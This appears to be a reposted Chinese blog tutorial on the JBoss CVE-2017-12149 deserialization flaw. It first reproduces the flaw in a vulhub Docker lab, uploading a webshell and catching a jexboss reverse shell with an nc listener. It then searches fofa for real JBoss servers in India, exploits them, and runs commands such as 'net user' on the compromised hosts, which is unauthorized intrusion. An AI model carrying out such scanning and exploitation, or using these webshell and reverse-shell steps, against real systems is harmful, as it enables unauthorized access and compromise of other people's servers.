内容简介:JBossJMXInvokerServlet 反序列化漏洞JBoss 5.x6.x 反序列化漏洞复现
JBoss5.x6.x 反序列化漏洞(CVE-2017-12149)
JBossJMXInvokerServlet 反序列化漏洞
0x01
JBoss 5.x6.x 反序列化漏洞复现
1.启动 docker 镜像
docker基于Centos7已搭建完成。
拉取项目git clone https://github.com/vulhub/vulhub.git
进入镜像:cd vulhub/jboss/CVE-2017-12149/
启动环境:docker-compose
up -d
访问 http://192.168. *.*:8080/打开Jboss页面:
- 理解 Java 反序列化漏洞
推荐学习Paper:Java反序列化漏洞从入门到深入: https://xz.aliyun.com/t/2041 。内容较多,先了解简单Java语法结构和面向对象编程基础,再学习序列化、反序列化的基本概念和漏洞成因。
(1)序列化:把 Java 对象转换为字节序列的过程便于保存在内存、文件、数据库中。ObjectOutputStream类的writeObject()方法可以实现序列化。
(2)反序列化:把字节序列恢复为Java对象的过程。ObjectInputStream类的readObject()方法用于反序列化。
(3)漏洞成因:暴露反序列化API或传入点 ,用户可以操作传入数据,并且反序列化的readObject()方法未对用户传入数据进行有效的安全检测,攻击者可以精心构造反序列化对象并执行恶意代码。
3.使用 工具 复现漏洞
(1)图形工具党:使用6哥的Java反序列化利用工具。
A.工具一键测试:
B.找到自动部署目录:先在文件管理中,找到可以自动部署的目录,shell上传的目录是:
/jboss-6.1.0.Final/server/default/deploy/ROOT.war/caidao.jsp
C.上传菜刀马:
D.菜刀连接成功:
(2)py脚本党:使用jexboss工具反弹shell
A. Jexboss工具下载: https://github.com/joaomatosf/jexboss
Windows下使用需先安装Py2.7、pip,再安装git Windows版。Linux使用更简单,安装Python,直接Git clone。以下是 Linux 下使用:
git clone https://github.com/joaomatosf/jexboss.git
cd jexboss
pip install -rrequires.txt
至此已经安装好了。
B.利用漏洞反弹shell,本次实验将Linux虚机反弹 shell 到Windows主机的nc监听端口:
先用nc在本机起个监听端口:
nc -lvnp 4444
C.执行攻击命令,检测到存在漏洞:
python jexboss.py -host http://192.168.64.151 :8080
D.后面是交互式选择,是否有admin-console权限,选择默认NO;
Exploitation JMXInvokerServlet选择yes:
E.选择反弹shell的主机IP和接收端口
F.在Windows主机监听的nc接收反弹shell成功:root权限
(3)专业的Java反序列化工具ysoserial:攻击需要构造带有需要执行Payload的ser文件,然后使用curl将二进制文件提交至目标服务器的invoker/readonly页面中。详见 https://github.com/vulhub/vulhub/tree/master/jboss/CVE-2017-12149
0x02 通过fofa搜索实际漏洞
1.用邮箱注册 https://fofa.so/ (类似于www.shodan.io)
2.搜索:位于印度的、并且header包含jboss的、并且端口是8080的资产
(1)命令:port=8080 &&header=jboss && country=IN
命令中的3个搜索条件是“与”的关系:
语法规则详见fofa的查询语法,搜索结果如下:
(2)找到一些jboss的IP,直接使用图形工具exp测试:
存在漏洞的主机,获取信息:
列出windows用户:命令net user
查看目录和文件:
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。